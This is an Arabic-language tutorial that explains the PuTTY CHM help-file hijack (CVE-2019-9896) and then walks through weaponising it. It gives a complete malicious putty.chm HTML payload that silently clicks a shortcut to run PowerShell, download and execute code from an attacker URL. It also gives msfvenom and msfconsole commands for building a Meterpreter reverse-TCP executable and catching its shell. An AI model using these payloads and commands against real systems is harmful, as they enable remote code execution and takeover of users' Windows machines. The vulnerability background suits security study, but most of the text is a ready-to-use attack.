
تنفيذ محتمل لكود خبيث عبر اختطاف CHM (CVE-2019-9896)
تنفيذ محتمل لتعليمات برمجية خبيثة عبر اختطاف CHM
حتى الإصدار 0.70 وما يشملها، عندما كنت تشغّل التعليمات عبر الإنترنت في أي من أدوات PuTTY لواجهة Windows، كانت الأداة تبحث عن ملف التعليمات الخاص بها بجوار ملفها التنفيذي.
إذا كنت تشغّل PuTTY من مجلد يمكن لتعليمات برمجية غير ذات صلة أن تضع ملفات فيه (على سبيل المثال، تشغيله مباشرة من مجلد التنزيل الافتراضي في المتصفح)، فهذا يعني أنه إذا تمكن شخص ما من وضع ملف باسم putty.chm في هذا المجلد (على سبيل المثال، بإغرائك للنقر على رابط تنزيل بهذا الاسم)، فإن PuTTY سيعتقد أنه ملف التعليمات الحقيقي ويُمرّره إلى htmlhelp.exe.
هذه ثغرة لأن ملفات تعليمات HTML Help (.chm) يمكنها بدورها ترتيب تشغيل التعليمات البرمجية التي تختارها، على سبيل المثال عن طريق تضمين عنصر <OBJECT> في HTML يكون اختصارًا لنظام Windows، مع Javascript للنقر عليه.
لمزيد من التفاصيل: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM هو امتداد لصيغة ملفات HTML المجمّعة (Compiled HTML)، ويُستخدم في الغالب في برنامج التعليمات المعتمد على HTML من Microsoft. قد يحتوي على العديد من مستندات HTML المضغوطة والصور وجافاسكربت التي ترتبط بها. تشمل ميزات CHM جدول المحتويات والفهرس والبحث النصي الكامل.
في الماضي، استخدم مهاجمون ملفات CHM لإسقاط ملف الباب الخلفي، وهو ما يُستخدم عادة في الهجمات الموجّهة.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
نحتاج إلى مجموعة أدوات HTML Help Workshop لإنشاء ملف CHM. بعد التثبيت، قم بتشغيل أداة HTML Help Workshop.
انقر على File > New > Project واتبع الخطوات أعلاه:
إنشاء مشروع HTML Help
شاشة New Project > Next > Browse
حدد اسم ملف مشروعك والمكان الذي ترغب في إنشائه فيه.
املأ File name: putty وانقر على "Open"
تحديد مشروع HTML Help
حدد HTML files (.htm)
حدد مكان وجود ملفات .htm الخاصة بك.
انقر على الزر Add.. وحدد مجلدًا تم إنشاؤه مسبقًا ليحتوي على ملفك الخبيث مثل putty.htm
تحديد ملف HTM
سينشئ المعالج مشروع HTML Help جديد. نحتاج إلى إجراء تعديلات.
في الأداة، انقر نقرًا مزدوجًا على htm الذي تم إنشاؤه لتحريره، ثم أدخل الكود أدناه لإنشاء ملف Help أساسي:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
إنشاء ملف خبيث
كيف يمكنني إنشاء حمولة Meterpreter بسيطة عبر TCP لنظام Windows؟
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
عند النقر المزدوج على زر Help، يتم إنشاء putty.exe كعملية فرعية من malware.exe، وهو المفسّر لملف CHM الثنائي. (يجب أن يكون ملفا putty.chm الخبيث و putty.exe في نفس المجلد)
إنشاء برمجية خبيثة
كيف أحصل على شل meterpreter؟
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
الموارد: